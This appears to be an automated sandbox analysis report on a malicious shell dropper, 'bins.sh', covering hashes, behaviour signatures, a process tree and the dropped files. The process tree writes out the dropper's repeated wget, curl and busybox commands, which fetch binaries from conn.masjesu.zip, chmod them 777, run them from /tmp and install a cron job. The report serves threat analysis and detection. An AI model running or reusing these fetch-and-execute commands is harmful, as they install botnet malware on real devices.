Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    04-11-2024 12:35

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a325e2a22971294656afb7f251e3ab7b

  • SHA1

    d05120dd6f34ee01dd2b5c45baf4eaf512ea0c75

  • SHA256

    66e27f6072a3ac6fc71d98be862a638d2a93b1d31424930428a664a676f2b9f7

  • SHA512

    ab526ea3f4e0f0d6f85a957f0a8cf5763bba801d331aa8b76a2758a61c506b1e0036b0a3205dd2a70ef4c12134983e3e23626c2feedb36d1e4fc75705617ec83

  • SSDEEP

    192:SsgccHWiiMp7cEPevX+NhKuccHWiDx6fvX+Nhu:SshW7tOf

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1960) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 13 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:698
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • File and Directory Permissions Modification
          PID:730
        • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Executes dropped EXE
          PID:731
        • /bin/rm
          rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
            PID:733
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:734
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:758
          • /bin/chmod
            chmod 777 v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • File and Directory Permissions Modification
            PID:764
          • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            ./v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:765
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:768
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:769
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:771
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:773
                • /bin/rm
                  rm v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                  2⤵
                    PID:779
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    2⤵
                    • System Network Configuration Discovery
                    PID:783
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    2⤵
                    • System Network Configuration Discovery
                    PID:788
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:789
                  • /bin/chmod
                    chmod 777 mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    2⤵
                    • File and Directory Permissions Modification
                    PID:885
                  • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    ./mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    2⤵
                    • Executes dropped EXE
                    PID:886
                  • /bin/rm
                    rm mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm
                    2⤵
                      PID:888
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                      2⤵
                        PID:889
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                        2⤵
                          PID:890
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                          2⤵
                            PID:891
                          • /bin/chmod
                            chmod 777 vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                            2⤵
                            • File and Directory Permissions Modification
                            PID:892
                          • /tmp/vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                            ./vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                            2⤵
                              PID:893
                            • /bin/rm
                              rm vOA3LRkZlUP9sFGUorzVahJJalVGDTZnb0
                              2⤵
                                PID:894
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                2⤵
                                • System Network Configuration Discovery
                                PID:895
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                2⤵
                                • System Network Configuration Discovery
                                PID:896
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:897
                              • /bin/chmod
                                chmod 777 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                2⤵
                                • File and Directory Permissions Modification
                                PID:906
                              • /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                ./0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                2⤵
                                • Executes dropped EXE
                                PID:907
                              • /bin/rm
                                rm 0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr
                                2⤵
                                  PID:909
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/iRdj0mPUq9mH99QrmxyO2oYhSlg6UHqSkk
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:910

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/0fEoMGeAo5q2H6dKuyCGhue7WetRZekiEr

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/mN69mtAJXlP2rLzZX6kDiBJqIAtKT049fm

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /var/spool/cron/crontabs/tmp.uO6m9n

                                Filesize

                                210B

                                MD5

                                a5d05a302e3930eba51953bc373708c8

                                SHA1

                                189abf5aa5a76d64458ab728e24ec8c9e0df9ee4

                                SHA256

                                09b2ea093afa39a97d28904332c0e29af6d7c2481c97e580e9b800196d51cb3d

                                SHA512

                                f71cf3941eac461779bd05479be8b8f403051585a665727a4b7ce634f37bde47fcfaa873b89165a38d407ee57efe5b60b4cdb5b37d43fb42422c3bb013fd5b92